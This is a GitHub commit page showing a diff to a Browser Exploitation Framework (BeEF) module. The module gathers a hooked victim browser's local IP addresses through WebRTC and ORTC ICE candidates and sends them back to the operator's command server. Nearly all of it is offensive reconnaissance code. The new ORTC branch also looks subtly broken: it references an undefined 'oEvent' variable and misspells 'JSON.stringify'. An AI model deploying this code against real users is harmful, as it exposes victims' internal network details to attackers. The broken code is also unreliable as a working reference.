Merge pull request #1401 from SkyLined/master

Add ORTC, fix WebRTC bug
This commit is contained in:
antisnatchor
2017-05-31 08:41:11 +02:00
committed by GitHub

View File

@@ -1,5 +1,6 @@
//
// Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net
// Copyright (c) 2017 SkyLined - BeEF@skylined.nl
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
@@ -8,11 +9,34 @@ beef.execute(function() {
var RTCPeerConnection = window.webkitRTCPeerConnection || window.mozRTCPeerConnection;
if (RTCPeerConnection){
if (window.RTCIceGatherer || RTCPeerConnection){
var addrs = Object.create(null);
addrs["0.0.0.0"] = false;
// Prefer RTCIceGatherer of simplicity.
if (window.RTCIceGatherer) {
var iceGatherer = new RTCIceGatherer({
"gatherPolicy": "all",
"iceServers": [ ],
});
iceGatherer.onlocalcandidate = function (evt) {
if (oEvent.candidate.type) {
// There may be multiple IP addresses
beef.debug(JSON.Stringify(evt.candidate));
if (evt.candidate.type == "host") {
// The ones marked "host" are local IP addresses
processIPs(oEvent.candidate.ip);
};
} else {
retResults();
};
};
iceGatherer.onerror = function (e) {
beef.debug("ICE Gatherer Failed");
beef.net.send('<%= @command_url %>', <%= @command_id %>, "ICE Gatherer Failed", beef.are.status_error());
};
} else {
// Construct RTC peer connection
var servers = {iceServers:[]};
var mediaConstraints = {optional:[{googIPv6: true}]};
@@ -23,10 +47,13 @@ beef.execute(function() {
// Grep the SDP data for IP address data
rtc.onicecandidate = function (evt) {
if (evt.candidate){
// There may be multiple local IP addresses
beef.debug("a="+evt.candidate.candidate);
grepSDP("a="+evt.candidate.candidate);
} else {
// No more candidates: return results.
retResults();
}
};
};
// Create an SDP offer
@@ -38,6 +65,7 @@ beef.execute(function() {
beef.debug("SDP Offer Failed");
beef.net.send('<%= @command_url %>', <%= @command_id %>, "SDP Offer Failed", beef.are.status_error());
});
};
function retResults(){
var displayAddrs = Object.keys(addrs).filter(function (k) { return addrs[k]; });